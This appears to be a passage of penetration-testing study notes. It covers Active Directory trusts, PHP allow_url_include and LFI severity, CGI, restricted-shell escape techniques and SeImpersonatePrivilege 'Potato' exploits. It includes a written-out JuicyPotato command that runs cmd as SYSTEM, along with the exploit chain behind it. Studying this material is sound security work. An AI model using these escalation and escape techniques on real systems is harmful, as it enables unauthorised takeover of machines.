* [ESAE](https://docs.microsoft.com/en-us/security/compass/esae-retirement): A bastion forest used to manage Active Directory.

Trusts can be transitive or non-transitive. A `transitive` trust extends to objects the child domain trusts (if `Domain A` trusts `Domain B`, and `Domain B` has a transitive trust with `Domain C`, then `Domain A` automatically trusts `Domain C`). In a `non-transitive` trust, only the child domain itself is trusted.

***

### allow\_url\_include & LFI Severity

`allow_url_include` (PHP) controls whether `include()` / `require()` can load code **from URL wrappers** (`http://`, `https://`, `ftp://`, and some stream wrappers). Off (default in modern PHP): `include()` can't pull code from remote URLs. On: `include()` can include content via URL wrappers → much higher risk. Related: `allow_url_fopen` affects URL access for `fopen()` / `file_get_contents()`; `allow_url_include` is specifically about `include`/`require`, which turns "read content" into "execute as PHP code."

**Why it matters for LFI severity:**

* With `allow_url_include = Off`, LFI typically enables **local file disclosure** — inclusion is constrained to files that already exist on the server.
* With `allow_url_include = On`, the same "include from user input" mistake can become **much more severe** via URL wrappers — a path to **code execution**, because `include()` executes the included content as PHP.

Checking this setting helps classify LFI severity and prioritize remediation (turning it off reduces attack surface even if a bug exists).

***

### CGI (Common Gateway Interface)

A [CGI](https://www.w3.org/CGI/) helps a web server render dynamic pages and create customized responses. CGI applications are primarily used to access other applications running on a web server — middleware between web servers, external databases, and information sources. CGI scripts are kept in the `/CGI-bin` directory and can be written in C, C++, Java, PERL, etc. They run in the security context of the web server, and are often used for guest books, forms, mailing lists, blogs, etc.

Typical use cases: when the web server must dynamically interact with the user; when a user submits data via a form (the CGI application processes the data and returns the result). Broadly: a `CGI-bin` directory contains the scripts; the user sends a request via a URL (e.g. `https://acme.com/cgi-bin/newchiscript.pl`); the server runs the script and passes the output back to the client.

> *\[Screenshot: Pasted image 20260201022431.png]*

***

### Escaping Restricted Shells (concepts)

**Command Substitution** — use the shell's command substitution syntax (e.g. backticks) to execute a command not restricted by the shell.

**Command Chaining** — use multiple commands in one line separated by a metacharacter (`;` or `|`) to execute a command the shell would otherwise restrict.

**Environment Variables** — modify or create environment variables the shell uses (e.g. change the directory in which commands are executed) to run non-restricted commands.

**Shell Functions** — define and call shell functions that execute commands not restricted by the shell.

***

### SeImpersonatePrivilege & Potato Exploits

#### How SeImpersonatePrivilege Works

Windows security context: Process Identity → User Account (e.g. SERVICE, LOCAL SERVICE) → Token (Security Context, defines privileges/groups/rights) → SeImpersonatePrivilege → "I can pretend to be other users". Legitimate uses: services impersonating clients, COM/DCOM servers, AD delegation, IIS/ASP.NET impersonation.

#### In Potato Exploits

The exploit chain: 1. Service Account (with SeImpersonate) → 2. Trigger authentication from a higher-privileged account → 3. Capture authentication token via NTLM/Negotiate → 4. Impersonate the captured token (SeImpersonate enables this) → 5. Execute code as SYSTEM/Admin.

**Variants:**

* **Hot Potato (2015)** — combines NBNS spoofing + WPAD proxy + NTLM relay; uses SeImpersonate to impersonate the captured SYSTEM token.
* **Rogue Potato (2020)** — improved version for newer Windows; uses the OXID resolver instead of WPAD.
* **Juicy Potato (2018)**:

```
# Classic Juicy Potato usage
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *
# -t * = Try all COM server CLSIDs until one works
```

Flow: attacker (with SeImpersonate) runs Juicy Potato → triggers DCOM activation as SYSTEM → captures SYSTEM token via BITS → impersonates SYSTEM → spawns a new process as SYSTEM.

* **Lonely Potato / Sweet Potato (2021)** — works on Windows Server 2019/2022; uses Print Spooler or EFSRPC instead of DCOM.

#### Who Has SeImpersonatePrivilege by Default?

Service accounts: LOCAL SERVICE, NETWORK SERVICE, IIS AppPool Identities, SQL Server Service Account, many third-party service accounts. User accounts: Administrators (but they don't need Potato exploits); standard users and minimal-privilege service accounts do NOT.

```
whoami /priv | findstr /i impersonate
```
